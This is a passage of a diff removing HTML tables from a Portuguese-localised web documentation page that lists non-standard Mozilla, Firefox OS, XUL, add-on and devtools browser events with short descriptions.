- <td>Sent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example <kbd>ctrl</kbd>/<kbd>cmd</kbd> + click.)</td>
- </tr>
- <tr>
- <td>{{event("mozbrowseropenwindow")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when {{domxref("window.open()")}} is called within a browser iframe.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserresize")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the browser {{HTMLElement("iframe")}}'s window size has changed.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserscroll")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the browser {{HTMLElement("iframe")}} content scrolls.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserscrollareachanged")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the available scrolling area  in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserscrollviewchange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when asynchronous scrolling (i.e. APCZ) starts or stops.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsersecuritychange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the SSL state changes within a browser iframe.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserselectionstatechanged")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{event("mozbrowsercaretstatechanged")}} instead.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsershowmodalprompt")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}} or {{domxref("window.prompt","prompt()")}} are called within a browser iframe</td>
- </tr>
- <tr>
- <td>{{event("mozbrowsertitlechange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the document.title changes within a browser iframe.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowserusernameandpasswordrequired")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when an HTTP authentification is requested.</td>
- </tr>
- <tr>
- <td>{{event("mozbrowservisibilitychange")}}</td>
- <td> </td>
- <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
- <td>Sent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{domxref("HTMLIFrameElement.setVisible","setVisible()")}}.</td>
- </tr>
- <tr>
- <td>{{event("MozGamepadButtonDown")}}</td>
- <td> </td>
- <td><em>To be specified</em></td>
- <td>A gamepad button is pressed down.</td>
- </tr>
- <tr>
- <td>{{event("MozGamepadButtonUp")}}</td>
- <td> </td>
- <td><em>To be specified</em></td>
- <td>A gamepad button is released.</td>
- </tr>
- <tr>
- <td>{{event("MozMousePixelScroll")}} {{deprecated_inline}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
- </tr>
- <tr>
- <td>{{event("MozOrientation")}} {{deprecated_inline}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
- </tr>
- <tr>
- <td>{{event("MozScrolledAreaChanged")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td><em>Mozilla specific</em></td>
- <td>The document view has been scrolled or resized.</td>
- </tr>
- <tr>
- <td>{{event("moztimechange")}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>The time of the device has been changed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{deprecated_inline}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>A touch point is placed on the touch surface (use touchstart instead).</td>
- </tr>
- <tr>
- <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{deprecated_inline}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>A touch point is moved along the touch surface (use touchmove instead).</td>
- </tr>
- <tr>
- <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{deprecated_inline}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>A touch point is removed from the touch surface (use touchend instead).</td>
- </tr>
- <tr>
- <td>{{event("alerting")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>The correspondent is being alerted (his/her phone is ringing).</td>
- </tr>
- <tr>
- <td>{{event("busy")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>The line of the correspondent is busy.</td>
- </tr>
- <tr>
- <td>{{event("callschanged")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call has been added or removed from the list of current calls.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/DOM/onconnected">onconnected</a> {{event("connected")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call has been connected.</td>
- </tr>
- <tr>
- <td>{{event("connecting")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call is about to connect.</td>
- </tr>
- <tr>
- <td>{{event("delivered")}}</td>
- <td>{{domxref("SMSEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>An SMS has been successfully delivered.</td>
- </tr>
- <tr>
- <td>{{event("dialing")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>The number of a correspondent has been dialed.</td>
- </tr>
- <tr>
- <td>{{event("disabled")}}</td>
- <td> </td>
- <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
- <td>Wifi has been disabled on the device.</td>
- </tr>
- <tr>
- <td>{{event("disconnected")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call has been disconnected.</td>
- </tr>
- <tr>
- <td>{{event("disconnecting")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call is about to disconnect.</td>
- </tr>
- <tr>
- <td>{{event("enabled")}}</td>
- <td> </td>
- <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
- <td>Wifi has been enabled on the device.</td>
- </tr>
- <tr>
- <td>{{event("error_(Telephony)","error")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>An error occurred.</td>
- </tr>
- <tr>
- <td>{{event("held")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call has been held.</td>
- </tr>
- <tr>
- <td>{{event("holding")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call is about to be held.</td>
- </tr>
- <tr>
- <td>{{event("incoming")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call is being received.</td>
- </tr>
- <tr>
- <td>{{event("received")}}</td>
- <td>{{domxref("SMSEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>An SMS has been received.</td>
- </tr>
- <tr>
- <td>{{event("resuming")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>A call is about to resume.</td>
- </tr>
- <tr>
- <td>{{event("sent")}}</td>
- <td>{{domxref("SMSEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>An SMS has been sent.</td>
- </tr>
- <tr>
- <td>{{event("statechange")}}</td>
- <td>{{domxref("CallEvent")}}</td>
- <td><em>To be specified</em></td>
- <td>The state of a call has changed.</td>
- </tr>
- <tr>
- <td>{{event("statuschange")}}</td>
- <td> </td>
- <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#156"><em>Firefox OS specific</em></a></td>
- <td>The status of the Wifi connection changed.</td>
- </tr>
- <tr>
- <td>{{event("overflow")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td><em>Mozilla specific</em></td>
- <td>An element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
- </tr>
- <tr>
- <td>{{event("smartcard-insert")}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been inserted.</td>
- </tr>
- <tr>
- <td>{{event("smartcard-remove")}}</td>
- <td> </td>
- <td><em>Mozilla specific</em></td>
- <td>A <a href="/en-US/docs/JavaScript_crypto">smartcard</a> has been removed.</td>
- </tr>
- <tr>
- <td>{{event("stkcommand")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The <abbr title="SIM Application Toolkit">STK</abbr> Proactive Command is issued from <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
- </tr>
- <tr>
- <td>{{event("stksessionend")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The <abbr title="SIM Application Toolkit">STK</abbr> Session is terminated by <abbr title="Integrated Circuit Card">ICC</abbr>.</td>
- </tr>
- <tr>
- <td><code>text</code></td>
- <td> </td>
- <td><em>Mozilla Specific</em></td>
- <td>A generic composition event occurred.</td>
- </tr>
- <tr>
- <td>{{event("touchenter")}}</td>
- <td>{{domxref("TouchEvent")}}</td>
- <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{event("touchleave")}}</td>
- <td>{{domxref("TouchEvent")}}</td>
- <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a> Removed</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{event("underflow")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td><em>Mozilla specific</em></td>
- <td>An element is no longer overflowed by its content (only works for elements styled with <code>overflow</code> != <code>visible</code>).</td>
- </tr>
- <tr>
- <td><code>uploadprogress</code> {{deprecated_inline}}</td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td><em>Mozilla Specific</em></td>
- <td>Upload is in progress (see {{event("progress")}}).</td>
- </tr>
- <tr>
- <td>
- <p>{{event("ussdreceived")}}</p>
- </td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>A new <abbr title="Unstructured Supplementary Service Data">USSD</abbr> message is received</td>
- </tr>
- <tr>
- <td>{{event("voicechange")}}</td>
- <td> </td>
- <td><em>Firefox OS specific</em></td>
- <td>The {{domxref("MozMobileConnection.voice")}} object changes values.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Eventos_específicos_da_Mozilla">Eventos específicos da Mozilla</h2>
-
-<div class="note">
-<p><strong>Nota:</strong> esses eventos nunca são expostos ao conteúdo da Web e só podem ser utilizados no contexto de conteúdo do Chrome.</p>
-</div>
-
-<h3 id="Eventos_de_XUL">Eventos de XUL</h3>
-
-<table class="standard-table" style="height: 554px; width: 1033px;">
- <tbody>
- <tr>
- <th class="header" style="width: 220px;">Nome do Evento</th>
- <th class="header" style="width: 90px;">Tipo de Evento</th>
- <th class="header" style="width: 100px;">Especificação</th>
- <th class="header">Executado quando...</th>
- </tr>
- <tr>
- <td>{{event("broadcast")}}</td>
- <td> </td>
- <td><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
- <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
- </tr>
- <tr>
- <td>{{event("CheckboxStateChange")}}</td>
- <td> </td>
- <td>XUL</td>
- <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/close_event">close</a></td>
- <td> </td>
- <td>XUL</td>
- <td>The close button of the window has been clicked.</td>
- </tr>
- <tr>
- <td>{{event("command")}}</td>
- <td> </td>
- <td>XUL</td>
- <td>An element has been activated.</td>
- </tr>
- <tr>
- <td>{{event("commandupdate")}}</td>
- <td> </td>
- <td>XUL</td>
- <td>A command update occurred on a <code>commandset</code> element.</td>
- </tr>
- <tr>
- <td>{{event("DOMMenuItemActive")}}</td>
- <td> </td>
- <td>XUL</td>
- <td>A menu or menuitem has been hovered or highlighted.</td>
- </tr>
- <tr>
- <td>{{event("DOMMenuItemInactive")}}</td>
- <td> </td>
- <td><em>XUL</em></td>
- <td>A menu or menuitem is no longer hovered or highlighted.</td>
- </tr>
- <tr>
- <td>{{event("popuphidden")}}</td>
- <td><code>PopupEvent</code></td>
- <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
- <td>A menupopup, panel or tooltip has been hidden.</td>
- </tr>
- <tr>
- <td>{{event("popuphiding")}}</td>
- <td><code>PopupEvent</code></td>
- <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
- <td>A menupopup, panel or tooltip is about to be hidden.</td>
- </tr>
- <tr>
- <td>{{event("popupshowing")}}</td>
- <td><code>PopupEvent</code></td>
- <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
- <td>A menupopup, panel or tooltip is about to become visible.</td>
- </tr>
- <tr>
- <td>{{event("popupshown")}}</td>
- <td><code>PopupEvent</code></td>
- <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
- <td>A menupopup, panel or tooltip has become visible.</td>
- </tr>
- <tr>
- <td>{{event("RadioStateChange")}}</td>
- <td> </td>
- <td>XUL</td>
- <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
- </tr>
- <tr>
- <td>{{event("ValueChange")}}</td>
- <td> </td>
- <td>XUL</td>
- <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Enventos_específicos_de_extras">Enventos específicos de extras</h3>
-
-<table class="standard-table" style="width: 100%;">
- <tbody>
- <tr>
- <th class="header" style="width: 220px;">Nome do Evento</th>
- <th class="header" style="width: 90px;">Tipo de Evento</th>
- <th class="header" style="width: 100px;">Especificação</th>
- <th class="header">Executado quando...</th>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A touch point is swiped across the touch surface</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Two touch points start to move away from each other.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Two touch points start to rotate around a point.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Two touch points are tapped on the touch surface.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Content has been repainted.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A popup has been blocked</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A window has been created.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A window is about to be closed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
- <td> </td>
- <td><em>Addons specifc</em></td>
- <td>The title of a window has changed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
- <td> </td>
- <td><em>Addons specifc</em></td>
- <td>A link has been added a document.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
- <td> </td>
- <td><em>Addons specifc</em></td>
- <td>A link has been removed inside from a document.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A <code>meta</code> element has been added to a document.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A <code>meta</code> element has been removed from a document.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A modal dialog is about to open.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A modal dialog has been closed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>The content of an element has been auto-completed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>The frame has finished loading (but not its dependent resources).</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is shown.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A <code><a href="/en-US/docs/XUL/notification">notification</a></code> element is closed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Browser fullscreen mode has been entered or left.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td><a href="/en-US/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>The session store will stop tracking this window.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>The session store will stop tracking this tab.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab is about to be restored.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been restored.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A window state has switched to "ready".</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A window state has switched to "busy".</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been opened.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been closed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been selected.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been shown.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been hidden.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been pinned.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
- <td> </td>
- <td><em>Addons specific</em></td>
- <td>A tab has been unpinned.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Eventos_específicos_da_ferramenta_do_programador">Eventos específicos da ferramenta do programador</h3>
-
-<table class="standard-table" style="width: 100%;">
- <tbody>
- <tr>
- <th class="header" style="width: 220px;">Nome do Evento</th>
- <th class="header" style="width: 90px;">Tipo de Evento</th>
- <th class="header" style="width: 100px;">Especificação</th>
- <th class="header">Executado quando...</th>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
- <td> </td>
- <td><em>devtools specific</em></td>
- <td>The "Rules" view of the style inspector has been updated.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
- <td> </td>
- <td><em>devtools specific</em></td>
- <td>The "Rules" view of the style inspector has been changed.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
- <td> </td>
- <td><em>devtools specific</em></td>
- <td>A link to a CSS file has been clicked in the "Rules" view of the style inspector.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("Event")}}</li>
- <li><a href="/pt-PT/docs/Web/Guide/Eventos">Guia de desenvolvimento de eventos</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: 0% 0% repeat scroll rgba(0, 0, 0, 0); opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
